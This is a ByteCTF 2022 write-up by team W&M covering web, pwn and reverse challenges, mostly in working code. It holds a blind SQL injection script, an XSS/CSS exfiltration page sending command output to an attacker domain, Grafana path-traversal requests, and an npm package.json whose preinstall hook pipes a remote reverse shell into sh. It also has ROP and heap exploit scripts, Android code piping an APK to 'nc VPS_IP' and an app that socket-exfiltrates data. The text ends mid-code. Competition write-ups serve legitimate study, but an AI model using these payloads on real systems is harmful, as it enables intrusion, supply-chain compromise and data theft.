ByteCTF 2022 By W&M
综述
我们是冠军!
WEB
datamanager
/dashboard?order=id
存在注入
from sre_constants import SUCCESS
import requests
requests = requests.Session()
import string
proxies = {}
import warnings
warnings.filterwarnings("ignore")
headers = {
"Cookie": "__t_id=7267900aaba9b607c88b9639ae26899a; JSESSIONID=C1032349BC4000AE184AD31889B5B0F3",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
}
#database() == datamanager
url = "<https://b9cf435899298a5ccde1a16acc13260e.2022.capturetheflag.fun/dashboard?order=id> and case when (database() like PAYLOAD) then 1 else 9223372036854775807%2B1 end"
#tables : source,users
url = "<https://b9cf435899298a5ccde1a16acc13260e.2022.capturetheflag.fun/dashboard?order=id> and case when ((select group_concat(table_name) from information_schema.tables where table_schema like 0x646174616d616e61676572) like PAYLOAD) then 1 else 9223372036854775807%2B1 end"
#columns from users: current\\_connections,total\\_connections,user,id,n4me,pas$word
url = "<https://b9cf435899298a5ccde1a16acc13260e.2022.capturetheflag.fun/dashboard?order=id> and case when ((select group_concat(column_name) from information_schema.columns where table_name like 0x7573657273) like PAYLOAD) then 1 else 9223372036854775807%2B1 end"
#n4me from users: ctf,...
url = "<https://b9cf435899298a5ccde1a16acc13260e.2022.capturetheflag.fun/dashboard?order=id> and case when ((select group_concat(n4me) from users) like PAYLOAD) then 1 else 9223372036854775807%2B1 end"
#pas$word from users: ctf@BvteDaNceS3cRet,...
url = "<https://b9cf435899298a5ccde1a16acc13260e.2022.capturetheflag.fun/dashboard?order=id> and case when ((select group_concat(pas$word) from users) like PAYLOAD) then 1 else 9223372036854775807%2B1 end"
def main():
flag = ""
while 1:
success = False
for i in string.printable[:-6]:
if i in "_%[]":
i = "\\\\"+i
payload = "0x"
for item in flag:
payload += "%02x" % ord(item)
for item in i:
payload += "%02x" % ord(item)
payload += "25"
#print(payload)
r = requests.get(url.replace("PAYLOAD",payload),proxies=proxies,headers=headers,verify=False,timeout=3)
#if "SORRY!" not in r.text:
if r.status_code == 200:
flag += i
print(flag)
success = True
break
if success:
continue
else:
print("failed",flag)
raise Exception("failed")
if __name__ == "__main__":
main()
注入得到admin用户名密码
ctf
ctf@BvteDaNceS3cRet
Status 可以执行任意sql
Server running on /app/DataManager.jar
select * from source
Result: [[1, 1, public mysql server, -, 3306, mysql, Running, root, mySql_Super_Str0ng_paSSw0rb],
[2, 1, internal cache server, ***, ***, redis, Running, -, redis_means_Remote_D1ctionary_Server]…
show variables
... [secure_file_priv, /tmp/],
Connection Test可以执行jdbc
jdbc:mysql://VPS_IP:port/jdbc?allowLoadLocalInfile=true&maxAllowedPacket=655360&allowUrlInLocalInfile=true
用mysql fake server来读文件。需要修改一下 handshake.py的72行d[2]改成0x21 否则报错
netdoc可以列举目录,直接出flag了。jar和redis都没用到,可能是非预期。
netdoc:///
/very_Str4nge_NamE_of_flag
typing_game
1.css xss读取当前词语 必须把typing game通关才能xss
2.name处xss 目的是读取命令执行的回显
3.命令执行env读取CTF_CHALLENGE_FLAG
(因为他当前文件夹有文件。因此不能用以前题目出过的 四个可控字符rce)
ls
conf.js
index.js
node_modules
package-lock.json
package.json
public
test.js
views
需要搭建一个服务器来读取当前字符
from flask import Flask,abort
app = Flask(__name__)
@app.after_request
def after_request(response):
response.headers.add('Access-Control-Allow-Origin', '*')
response.headers.add('Access-Control-Allow-Headers', 'Content-Type,Authorization')
response.headers.add('Access-Control-Allow-Methods', 'GET,PUT,POST,DELETE,OPTIONS')
return response
word = None
@app.route("/ctftest/setword/<lword>")
def hello(lword):
global word
word = lword
print("word is",word)
abort(404)
@app.route("/ctftest/getword")
def getword():
global word
if word is None:
return ""
lword = word
word = None
return lword
# 本地测试远程的话http css里的http会被强制升级成https
# 所以建议套个nginx 上https
# 但是打远程的话是127.0.0.1:13002是http 没有https的问题
if __name__ == "__main__":
app.run(host="0.0.0.0",port=80)
<html>
<head></head>
<body>
prevent page recycle
<img src="https://deelay.me/50000/https://picsum.photos/200/300"/>
</body>
<script>
let after_command=
encodeURIComponent(
`fetch('http://127.0.0.1:13002/status?cmd=env').then(r=>r.text().then(t=>fetch('https://www.mydomain.com/ctftest/setword/'+encodeURIComponent(t))));`
);
if(window.location.href.indexOf("mydomain.com") == -1){//local testing
var server = "https://f74b89ca65ab2c4419ad5362aad4fe19.2022.capturetheflag.fun"
}else{ //打远程
var server = "http://127.0.0.1:13002"
}
let base_url = server + "/?color=blue;}[src^=web]{background:url(https://www.mydomain.com/ctftest/setword/web);}[src^=bytedance]{background:url(https://www.mydomain.com/ctftest/setword/bytedance);}[src^=ctf]{background:url(https://www.mydomain.com/ctftest/setword/ctf);}[src^=sing]{background:url(https://www.mydomain.com/ctftest/setword/sing);}[src^=jump]{background:url(https://www.mydomain.com/ctftest/setword/jump);}[src^=rap]{background:url(https://www.mydomain.com/ctftest/setword/rap);}[src^=basketball]{background:url(https://www.mydomain.com/ctftest/setword/basketball);}[src^=hello]{background:url(https://www.mydomain.com/ctftest/setword/hello);}[src^=world]{background:url(https://www.mydomain.com/ctftest/setword/world);}[src^=fighting]{background:url(https://www.mydomain.com/ctftest/setword/fighting);}[src^=flag]{background:url(https://www.mydomain.com/ctftest/setword/flag);}[src^=game]{background:url(https://www.mydomain.com/ctftest/setword/game);}[src^=happy]{background:url(https://www.mydomain.com/ctftest/setword/happy);}x{"+
"&name=<img src=x onerror=\"fetch('https://www.mydomain.com/ctftest/setword/xss_done');"+after_command+"\" />#"
function create_window(){
let w =open(base_url)
return w
}
ended = false
function get_word(){
if(ended){
return
}
fetch("https://www.mydomain.com/ctftest/getword").then(r => r.text().then(x =>{
if(x == "xss_done"){
ended = true
return
}
if(x == ""){
return;
}else{
window.vuln_window.location.href = base_url + x;
}
}));
}
function main(){
//clear old word
fetch("https://www.mydomain.com/ctftest/getword")
setTimeout(function(){
window.vuln_window = create_window()
setInterval(get_word, 200);
}, 200);
//prevent window being recycled
setTimeout(function(){
console.log(1)
},1000)
setTimeout(function () {
console.log(1)
}, 10000)
setTimeout(function () {
console.log(1)
}, 20000)
}
main()
</script>
</html>
easy_grafana
You must have seen it, so you can hack it
GET /public/plugins/alertlist/#/../..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/grafana/grafana.ini HTTP/1.1
GET /public/plugins/alertlist/#%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2fvar/lib/grafana/grafana.db HTTP/1.1
https://github.com/A-D-Team/grafanaExp
You must have seen it, so you can hack it
GET /public/plugins/alertlist/#/../..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/grafana/grafana.ini HTTP/1.1
GET /public/plugins/alertlist/#%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2fvar/lib/grafana/grafana.db HTTP/1.1
https://github.com/A-D-Team/grafanaExp
ctf_cloud
首先需要是admin
',0),('admin','1',1);#
username不是unique 直接多注册一个admin就行了
package.json | npm Docs (npmjs.com)
利用npm包的preinstall script进行rce
加载远程https的tar包不成功,所以从git加载。
把这个命名为package.json 传到github公开库。
{
"title": "UAParser.js",
"name": "ua-parser-js",
"version": "0.7.29",
"author": "Faisal Salman <f@faisalman.com> (http://faisalman.com)",
"description": "Lightweight JavaScript-based user-agent string parser",
"main": "src/ua-parser.js",
"scripts": {
"preinstall": "bash -c 'curl VPS/reverse_shell|sh'"
}
}
post提交json
{"dependencies":{"ua-parser-js": "git+https://github.com/your_github_account/test.git"}}
microservices
题目给了三个分布式服务
第一个是service。服务的具体实现
第二个是web。前端的
第三个是路由中转
先看配置文件。还有个router.yml
匹配/api/v1/并且不存在dev=参数。就会转发到8081的正常web
匹配/debug就是一个6060啥路由都没有的web
看代码
api/v1有个dev验证
第一关:转发器URI参数不能带dev。并且后端的验证器必须带dev参数
这里就利用go前后端版本不一致的洞
高版本go ;不认为是分隔符
低版本go ;等于&
传入?a=1;dev=true
前端认为是a=1;dev=true
后端认为是a=1&dev=true
然后到register路由。
参数绑定到struct
然后到downloadFile函数
这里最后会获取文件名。然后拼接到img-文件名
。最后替换\\\\
为/
写入文件
这里默认tmp/img
没写权限
最后可以覆盖配置config.yml文件。查看文档。发现支持sprig语法
获取FLA自定义一个正则rule。把debug的转发到本地的/dashboard/。即可看到base64的正则。
PWN
ComeAndPlay
栈溢出,以及mmap特性,mmap映射地址的时候如果映射到存在的地址会失败因此可以通过这个特性来将codebase leak出来
但是每次运行的时候文件都会变,主要是算式改变以及buf大小改变,用angr过ansewer,通过读文件把buf大小读出来,然后栈溢出劫持got表从而getshell
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
import fuckpy3
import z3
import claripy
import angr
from pwn import *
context.log_level = 'debug'
binary = '4'
elf = ELF('4')
# libc = ELF("./libc.so")
libc = elf.libc
context.binary = binary
if(len(sys.argv) == 3):
p = remote(sys.argv[1],sys.argv[2])
else:
p = process
l64 = lambda :u64(p.recvuntil(b"\\x7f")[-6:].ljust(8,b"\\x00"))
l32 = lambda :u32(p.recvuntil("\\xf7")[-4:].ljust(4,"\\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
rl = lambda : p.recv()
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
"""
if ( buf[0] - (buf[0] | 0x87A4) != 0xFFFFFFFFFFFF7900LL
|| (buf[1] | 0xF4F9) + 0xCA70uLL % buf[1] != 0xF589
|| 0x95A5uLL % buf[2] + buf[2] != 0xE9
|| (buf[3] | 0xC03C) - buf[3] != 0xC01C )
"""
def get_num():
s = z3.Solver()
num1 = z3.BitVec("num1",32)
num2 = z3.BitVec("num2",32)
num3 = z3.BitVec("num3",32)
num4 = z3.BitVec("num4",32)
s.add(num1 - (num1 | 0x87A4) == -0x8700)
s.add((num2 | 0xf4f9) + 0xca70 % num2 == 62857 )
s.add(0x95A5 % num3 + num3 == 233)
s.add( (num4 | 0xc03c) - num4 == 49180 )
print(s.check())
m = (s.model())
for i in m:
print("%s = %x"%(i,(m[i].as_long())))
num = 0xa498a720
print(num)
def get_file():
global p
context.arch = 'amd64'
CHALLENGE_ID = 'dbb8c5bebaf23c76911faf5e4290dd59'
p = remote(CHALLENGE_ID + '.2022.capturetheflag.fun', 1337, ssl=True)
p.recvuntil("--------------------------------------------------------------------------------------------------------")
p.recvuntil("f")
payload = b'f' + p.recvuntil('==')
print(payload)
payload = base64.b64decode(payload)
with open("4","wb+") as f:
f.write(payload)
f.seek(0x134e)
content = f.read(0x400)
# content = disasm(content)
f.close()
def angr_test():
proj = angr.Project("./4",auto_load_libs = False)
arg1 = claripy.BVS("arg1", 8*8)
init = proj.factory.entry_state(args=["./4", arg1])
sm = proj.factory.simgr(init)
with open("./4","rb+") as f:
f.seek(0x134e)
content = f.read(0x400)
tmp_num = content.find(b"\\x48\\x8D\\x45\\xf8")
find_addr = 0x134e + tmp_num - 0x24
tmp_num = content.find(b"\\x83\\x7d\\xfc\\x45")
avoid_addr = 0x134e + tmp_num + 10
print(hex(find_addr),hex(avoid_addr))
# sm.one_active.options.add(angr.options.LAZY_SOLVES)
sm.explore(find=0x400000 + find_addr, avoid=0x400000 + avoid_addr)
sol = sm.found[0].solver.eval(arg1, cast_to=bytes)
print(sol)
return sol
# p = process(["./4",num])
def leak_codebase(addr,size):
global p
ru("Now you can choose how to play")
p.sendline("1")
ru("[!] Russian Roulette!")
p.send(p64(addr) + p64(size))
content = p.recvline()
content = p.recvline()
if b"Lose" in content:
print(content)
print("successful: 0x%lx" % ((addr + size)))
return addr
print(content)
return 0
def getCheck(path) :
proj = angr.Project(path)
start_addr = 0x40134E
blk = proj.factory.block(start_addr)
next = lambda b : proj.factory.block(b.addr+b.size)
blk = next(blk)
avoid_addr = int(blk.capstone.insns[-1].op_str, 16)
for i in range(4) :
blk = next(blk)
target_addr = blk.addr
print("Addr:", hex(avoid_addr), hex(target_addr))
state = proj.factory.blank_state(addr = start_addr)
state.regs.edi = state.solver.BVS('arg', 32)
sm = proj.factory.simgr(state)
sm.explore(find=target_addr, avoid=avoid_addr)
sol = sm.found[0].solver.eval(state.regs.edi, cast_to=bytes)
# print(sol)
return sol
def exp(idx):
global p
addr = 0x555555000000
i = 0
arr = [0x100000000,0x10000000,0x1000000,0x100000,0x10000,0x1000,0x100]
for i in (arr):
# print(i)
while(1):
addr += i
print("try: 0x%lx" % (addr))
tmp_value = leak_codebase(addr,i)
if(tmp_value):
addr = tmp_value
# pause()
break
codebase = addr & 0xfffffffff000
elf.address = codebase
success("Get codebase = 0x%lx",codebase)
p.recv()
p.sendline('2')
# attach(p)
# pause()
pop_rdi_ret = codebase + 0x0000000000001653
pop_rsi_r15_ret = codebase + 0x0000000000001651
payload = p64(codebase + 0x1269)*(idx - 0x1)
# payload += p64(elf.address + 0x000000000000101a)*0x10
payload += p64(pop_rdi_ret)
payload += p64(elf.got["puts"])
payload += p64(elf.sym["puts"])
payload += p64(0x164A + elf.address)
payload += p64(0)#rbx
payload += p64(1)#rbp
payload += p64(0)#r12->rdi
payload += p64(elf.got["puts"] - 0x8)#rsi
payload += p64(0x10)#rdx
payload += p64(elf.got["read"])#r15->call
payload += p64(0x1630 + elf.address)#ret
payload += b'a'*56
payload += p64(0x000000000000101a + codebase)
payload += p64(pop_rdi_ret)
payload += p64(elf.got["puts"] - 0x8)
payload += p64(elf.sym["puts"])
p.recv()
p.send(payload)
libc_base= l64() - libc.sym["puts"]
lg("libc_base",libc_base)
libc.address = libc_base
payload = b"/bin/sh\\x00"
payload += p64(libc.sym["system"])
p.send(payload)
# sleep(0.01)
# p.sendline("cat flag")
# p.sendline("cat flag.txt")
# pause()
p.interactive()
if __name__ == "__main__":
while(1):
try:
get_file()
with open("./4","rb+") as f:
f.seek(0x1356+3)
content = f.read(4)
idx = u32(content)
idx = int(idx / 0x8)
print(idx)
num = getCheck("./4")
p.recvuntil("answer")
p.sendline(str(u32(num[::-1])))
exp(idx)
except:
p.close()
mini_http2
Edit 可以堆溢出,堆风水改 Tcache 即可,需要注意的是 \x00
会截断,远程是 GLIBC 2.35,但是 exit 给了个访问并调用 __free_hook
,所以还是打 __free_hook
就行了
# encoding: utf-8
from pwn import *
elf = None
libc = None
file_name = "./pwn"
# context.timeout = 1
def get_file(dic=""):
context.binary = dic + file_name
return context.binary
def get_libc(dic=""):
if context.binary == None:
context.binary = dic + file_name
assert isinstance(context.binary, ELF)
libc = None
for lib in context.binary.libs:
if '/libc.' in lib or '/libc-' in lib:
libc = ELF(lib, checksec=False)
return libc
def get_sh(Use_other_libc=False, Use_ssh=False):
global libc
if args['REMOTE']:
if Use_other_libc:
libc = ELF("./libc.so.6", checksec=False)
if Use_ssh:
s = ssh(sys.argv[3], sys.argv[1], int(sys.argv[2]), sys.argv[4])
return s.process([file_name])
else:
if ":" in sys.argv[1]:
r = sys.argv[1].split(':')
return remote(r[0], int(r[1]), ssl=True)
return remote(sys.argv[1], int(sys.argv[2]), ssl=True)
else:
return process([file_name])
def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if libc == True:
if info == None:
info = 'libc_base:\t'
return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
elif int_mode:
return_address = int(sh.recvuntil(end_string, drop=True), 16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
elif context.arch == 'amd64':
return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
else:
return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
try:
sh.recvrepeat(0.1)
sh.sendline('cat flag')
return sh.recvrepeat(0.3)
except EOFError:
return ""
def get_gdb(sh, addr=None, gdbscript=None, stop=False):
if args['REMOTE']:
return
if gdbscript is not None:
gdb.attach(sh, gdbscript)
elif addr is not None:
gdb.attach(sh, 'b *$rebase(' + hex(addr) + ")")
else:
gdb.attach(sh)
if stop:
pause()
def Attack(target=None, elf=None, libc=None):
global sh
if sh is None:
from Class.Target import Target
assert target is not None
assert isinstance(target, Target)
sh = target.sh
elf = target.elf
libc = target.libc
assert isinstance(elf, ELF)
assert isinstance(libc, ELF)
try_count = 0
while try_count < 3:
try_count += 1
try:
pwn(sh, elf, libc)
break
except KeyboardInterrupt:
break
except EOFError:
sh.close()
if target is not None:
sh = target.get_sh()
target.sh = sh
if target.connect_fail:
return 'ERROR : Can not connect to target server!'
else:
sh = get_sh()
flag = get_flag(sh)
return flag
def send_pack(size, choice1, check):
payload = p32(size)[::-1][1:] + p8(choice1) + p8(check)
payload = payload.ljust(0x9, p8(0))
sh.send(payload)
def register(username, password):
data = "/register?username=%s&password=%s&" % (username, password)
payload = p8(0x82) + p8(0x86) + p8(0x44) + p32(len(data))[::-1]
payload += data
send_pack(len(payload), 1, 5)
sh.send(payload)
def login(username, password):
data = "/login?username=%s&password=%s&" % (username, password)
payload = p8(0x82) + p8(0x86) + p8(0x44) + p32(len(data))[::-1]
payload += data
send_pack(len(payload), 1, 5)
sh.send(payload)
def exit_program():
data = "/exit"
payload = p8(0x82) + p8(0x86) + p8(0x44) + p32(len(data))[::-1]
payload += data
send_pack(len(payload), 1, 5)
sh.send(payload)
def add(name1, desc1):
data = "/api/add_worker"
payload = p8(0x83) + p8(0x86) + p8(0x44) + p32(len(data))[::-1]
payload += data
send_pack(len(payload), 1, 5)
sh.send(payload)
payload2 = '{"name": "%s", "desc": "%s"}' % (name1, desc1)
send_pack(len(payload2), 0, 0)
print(payload2)
sh.send(payload2)
def delete(idx):
data = "/api/del_worker"
payload = p8(0x83) + p8(0x86) + p8(0x44) + p32(len(data))[::-1]
payload += data
send_pack(len(payload), 1, 5)
sh.send(payload)
payload2 = '{"worker_idx": %d}' % idx
send_pack(len(payload2), 0, 0)
print(payload2)
sh.send(payload2)
def show(idx):
data = "/api/show_worker"
payload = p8(0x83) + p8(0x86) + p8(0x44) + p32(len(data))[::-1]
payload += data
send_pack(len(payload), 1, 5)
sh.send(payload)
payload2 = '{"worker_idx": %d}' % idx
send_pack(len(payload2), 0, 0)
print(payload2)
sh.send(payload2)
def edit(idx, name1, desc1):
name1 = name1.replace('\x00', '\u0000')
desc1 = desc1.replace('\x00', '\u0000')
data = "/api/edit_worker"
payload = p8(0x83) + p8(0x86) + p8(0x44) + p32(len(data))[::-1]
payload += data
send_pack(len(payload), 1, 5)
sh.send(payload)
payload2 = '{"name": "%s", "desc": "%s", "worker_idx": %d}' % (name1, desc1, idx)
send_pack(len(payload2), 0, 0)
print(payload2)
sh.send(payload2)
def pwn(sh, elf, libc):
context.log_level = "debug"
register('/bin/sh', '/bin/sh')
login('/bin/sh', '/bin/sh')
sh.recvuntil('0x')
libc_base = int(sh.recvuntil('"', drop=True), 16) - 0xc4200
log.success("libc_base:\t" + hex(libc_base))
free_hook_addr = libc_base + 0x2204a8
add('a' * 0x27, 'b' * 0x27) #0
add('c' * 0x27, 'd' * 0x27) #1
add('c' * 0x27, 'd' * 0x27) #2
sh.recvuntil('0x')
heap_base = int(sh.recvuntil('"', drop=True), 16) - 0x680
log.success("heap_base:\t" + hex(heap_base))
delete(2)
delete(1)
payload = 'b' * 0x80 + p64((free_hook_addr - 8 - 0x30) ^ ((heap_base + 0x7e0) >> 12))
edit(0, 'a' * 0x27, payload)
#gdb.attach(sh, "b *$rebase(0x0000000000007CA2)")
add('d' * 0x27, 'e' * 0x27) #1
system_addr = libc_base + 0x50d60
edit(1, 'd' * 0x27, 'e' * 0x38 + p64(system_addr))
exit_program()
sh.interactive()
if __name__ == "__main__":
sh = get_sh()
flag = Attack(elf=get_file(), libc=get_libc())
sh.close()
if flag != "":
log.success('The flag is ' + re.search(r'flag{.+}', flag).group())
REVERSE
Android MITM
非预期:直接读取出apk 因为flag在apk里面 读了apk就是读了flag
//申请这个权限,还有网络权限等常用权限
<uses-permission-sdk-23 android:name="android.permission.QUERY_ALL_PACKAGES"/>
void test1(){
try {
Process exec = Runtime.getRuntime().exec("pm path com.bytedance.mitm");
InputStreamReader inputStreamReader = new InputStreamReader(exec.getInputStream());
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
String s = bufferedReader.readLine();
s = s.replace("package:","");
Log.d(TAG, "test1aaaa: "+s);
if (s != null){
String file = s;
String[] cmd = new String[]{"sh", "-c", "cat " + file + " | nc VPS_IP 9999"};
//String cmd = "ls -la "+file;
try {
Process exec1 = Runtime.getRuntime().exec(cmd);
InputStreamReader inputStreamReader1 = new InputStreamReader(exec1.getInputStream());
BufferedReader bufferedReader1 = new BufferedReader(inputStreamReader1);
String s1 = bufferedReader1.readLine();
Log.d(TAG, "test1bbbb: "+s1);
} catch (IOException e) {
Log.d(TAG, "test1cccc: ",e);
e.printStackTrace();
}
}
} catch (IOException e) {
e.printStackTrace();
}
}
Android MITM Revenge
package com.bytedance.attackmitm;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.appcompat.app.AppCompatActivity;
import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
import android.os.IBinder;
import android.os.Parcel;
import android.os.RemoteException;
import android.support.v4.os.IResultReceiver;
import android.util.Log;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.net.Socket;
import java.util.Map;
public class MainActivity extends AppCompatActivity {
// private static final String TAG = "MAIN";
//
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Parcel _data = Parcel.obtain();
Parcel _reply = Parcel.obtain();
this.registerReceiver(new FlagReceiver(), new IntentFilter("bytedance.ctf.androidmitm"));
try {
IBinder old = (IBinder)Class.forName("android.os.ServiceManager").getDeclaredMethod("getService", String.class).invoke(null, "activity_task");
AttackService serv = new AttackService(old);
_data.writeInterfaceToken("android.app.IActivityManager");
_data.writeString("activity_task");
_data.writeStrongBinder(serv);
IBinder am = (IBinder)Class.forName("android.os.ServiceManager").getDeclaredMethod("getService", String.class).invoke(null, "activity");
_reply.readException();
boolean _status = am.transact(223, _data, _reply, 0);
socketSend.sendMessage("Hooked");
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (Exception e) {
e.printStackTrace();
} finally {
_reply.recycle();
_data.recycle();
}
Intent mIntent = new Intent();
mIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
mIntent.setComponent(new ComponentName("com.bytedance.mitm","com.bytedance.mitm.MainActivity"));
mIntent.setAction("android.intent.action.VIEW");
startActivity(mIntent);
Log.e("s", "started");
}
}
package com.bytedance.attackmitm;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
import android.widget.Toast;
public class FlagReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context ctx, Intent intent) {
String flag=intent.getStringExtra("flag");
Log.e("1", "flag");
socketSend.sendMessage(flag);
}
}
ByteCTF{9bcb52ca-0206-4918-b5f6-beda5af6256b}
package com.bytedance.attackmitm;
import android.util.Log;
import java.io.IOException;
import java.io.OutputStream;
import java.io.PrintWriter;
import java.net.Socket;
public class socketSend {
static void sendMessage(String s) {
Log.e("Sending", s);
new Thread(new Runnable() {
@Override
public void run() {
Socket socket = null;
OutputStream outputStream = null;
try {
socket = new Socket("my_vps", 8080);
outputStream = socket.getOutputStream();
PrintWriter pw = new PrintWriter(outputStream);
pw.write(s);
pw.flush();
socket.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}).start();
}
}
题目要求对activity_task的op=17时的返回进行劫持,
题目提示:系统里有Bytedance Code,在Service和Platform里全局搜索Bytedance,发现了GodGiveYouaddService
读代码后发现给activity op=223发送transact可以正确调用此GodGiveYouAddService
本地利用AttackService替换activity_task。
发现远程需要重新唤起目标进程,但是activity_task被替换无法唤起,遂保存之前的binder, 对于AttackService无法处理的transact继续向上传递,socket把flag带出给vps
OhMySolidity
首先题目只给了一个txt文件,打开发现一堆十六进制数,去网上搜了一些区块链逆向的文章,发现这些十六进制数是字节码,可以用在线反编译器解析https://ethervm.io/decompile?address=&network=,
但是好像解析不全,需要自己阅读,参考EVM的文档EVM Opcode https://ethervm.io/#opcodes。
后来用这个https://library.dedaub.com/decompile可以直接反编译
// Decompiled by library.dedaub.com
// 2022.09.25 01:47 UTC
// Data structures and variables inferred from the use of storage instructions
uint32 stor_0_0_3; // STORAGE[0x0] bytes 0 to 3
uint32 stor_0_4_7; // STORAGE[0x0] bytes 4 to 7
uint32 stor_0_8_11; // STORAGE[0x0] bytes 8 to 11
uint32 stor_0_12_15; // STORAGE[0x0] bytes 12 to 15
function 0x93eed093() public payable {
return stor_0_0_3;
}
function 0x9577a145(uint256 varg0, uint256 varg1, uint256 varg2, uint256 varg3) public payable {
require(msg.data.length - 4 >= 128);
stor_0_0_3 = uint32(varg0);
stor_0_4_7 = uint32(varg1);
stor_0_8_11 = uint32(varg2);
stor_0_12_15 = uint32(varg3);
}
function 0xa7f81e6a() public payable {
return stor_0_8_11;
}
function 0xf0407ca7() public payable {
return stor_0_12_15;
}
function () public payable {
revert();
}
function 0x14edb54d() public payable {
return stor_0_4_7;
}
function 0x58f5382e(uint256 varg0) public payable {
require(msg.data.length - 4 >= 32);
require(varg0 <= 0x100000000);
require(4 + varg0 + 32 <= 4 + (msg.data.length - 4));
require(!((varg0.length > 0x100000000) | (36 + varg0 + varg0.length > 4 + (msg.data.length - 4))));
v0 = new bytes[](varg0.length);
CALLDATACOPY(v0.data, 36 + varg0, varg0.length);
v0[varg0.length] = 0;
require(v0.length % 8 == 0);
v1 = new bytes[](v0.length);
if (v0.length) {
MEM[(v1.data) len (v0.length)] = this.code[this.code.size len (v0.length)];
}
v2 = v3 = 0;
while (v2 < v0.length) {
v4 = v5 = 0;
v6 = v7 = 0;
v8 = v9 = 0;
v10 = v11 = 0;
while (0xff & v10 < 4) {
assert(v2 + (0xff & v10) < v0.length);
v6 = v6 + (uint32(0xff & v0[v2 + (0xff & v10)] >> 248 << 248 >> 248) << (0xff & 3 - v10 << 3));
assert(v2 + (0xff & v10) + 4 < v0.length);
v8 = v8 + (uint32(0xff & v0[v2 + (0xff & v10) + 4] >> 248 << 248 >> 248) << (0xff & 3 - v10 << 3));
v10 += 1;
}
v12 = v13 = 0;
while (0xff & v12 < 32) {
v4 = v4 + 0xdeadbeef;
v6 = v6 + ((uint32(v8) << 4) + stor_0_0_3 ^ v8 + v4 ^ (uint32(v8) >> 5) + stor_0_4_7);
v8 = v8 + ((uint32(v6) << 4) + stor_0_8_11 ^ v6 + v4 ^ (uint32(v6) >> 5) + stor_0_12_15);
v12 += 1;
}
v14 = v15 = 0;
while (0xff & v14 < 4) {
assert(v2 + (0xff & v14) < v1.length);
MEM8[32 + (v2 + (0xff & v14)) + v1] = (byte(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & (uint32(v6) >> (0xff & 3 - v14 << 3) & 0xff) << 248, 0x0)) & 0xFF;
assert(v2 + (0xff & v14) + 4 < v1.length);
MEM8[32 + (v2 + (0xff & v14) + 4) + v1] = (byte(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & (uint32(v8) >> (0xff & 3 - v14 << 3) & 0xff) << 248, 0x0)) & 0xFF;
v14 += 1;
}
v2 = v2 + 8;
}
v16 = new array[](v1.length);
v17 = v18 = 0;
while (v17 < v1.length) {
v16[v17] = v1[v17];
v17 = v17 + 32;
}
v19 = v20 = v1.length + v16.data;
if (0x1f & v1.length) {
MEM[v20 - (0x1f & v1.length)] = ~(256 ** (32 - (0x1f & v1.length)) - 1) & MEM[v20 - (0x1f & v1.length)];
}
return v16;
}
// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.
function __function_selector__(bytes4 function_selector) public payable {
MEM[64] = 128;
require(!msg.value);
if (msg.data.length >= 4) {
if (0x14edb54d == function_selector >> 224) {
0x14edb54d();
} else if (0x58f5382e == function_selector >> 224) {
0x58f5382e();
} else if (0x93eed093 == function_selector >> 224) {
0x93eed093();
} else if (0x9577a145 == function_selector >> 224) {
0x9577a145();
} else if (0xa7f81e6a == function_selector >> 224) {
0xa7f81e6a();
} else if (0xf0407ca7 == function_selector >> 224) {
0xf0407ca7();
}
}
();
}
密文是
0xa625e97482f83d2b7fc5125763dcbbffd8115b208c4754eee8711bdfac9e3377622bbf0cbb785e612b82c7f5143d5333
TEA, 直接脚本解得
#include <cstdio>
#include <cstdint>
uint32_t tar[] = {
0xa625e974, 0x82f83d2b, 0x7fc51257, 0x63dcbbff, 0xd8115b20, 0x8c4754ee, 0xe8711bdf, 0xac9e3377, 0x622bbf0c, 0xbb785e61, 0x2b82c7f5, 0x143d5333
};
void decrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0xdeadbeef*32, i;
uint32_t delta=0xdeadbeef;
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];
for (i=0; i<32; i++) {
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
}
v[0]=v0; v[1]=v1;
}
int main() {
